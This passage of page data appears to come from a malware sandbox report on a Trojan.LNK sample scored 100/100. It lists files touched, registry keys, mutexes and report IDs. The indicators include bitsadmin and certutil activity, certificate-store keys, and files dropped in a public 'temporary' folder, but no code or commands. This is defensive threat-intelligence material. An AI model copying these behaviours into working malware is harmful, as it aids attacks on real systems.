8166"}]},{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\r1.log","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenw98.~.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\bitsadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\certutil.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenw64.~.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\timeout.exe","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\timeout.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{FD4316C2-FF33-42BF-BE78-39051EB67EC2}\\","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{FD4316C2-FF33-42BF-BE78-39051EB67EC2}\\00-00-5E-00-01-01\\","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\CRYPTOGRAPHY\\AUTOENROLLMENT\\","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{FD4316C2-FF33-42BF-BE78-39051EB67EC2}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}]}},"report_ids":{"sandbox_job_ids":["5e7e7bd38beb8326d0142c32","5d66ca2802883831924d31c7","5ccc295303883828885f8166"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious Trojan.LNK Sample 82942e3356e6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 82942e3356e6…. Malware family: Trojan.LNK. Threat score 100/100. 13/27 AV engines flagged this file. 9 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.LNK Sample 82942e3356e6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 82942e3356e6…. Malware family: Trojan.LNK. Threat score 100/100. 13/27 AV engines flagged this file. 9 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.LNK Sample 82942e3356e6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 82942e3356e6…. Malware family: Trojan.LNK. Threat score 100/100. 13/27 AV engines flagged this file. 9 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L31","11",{}]]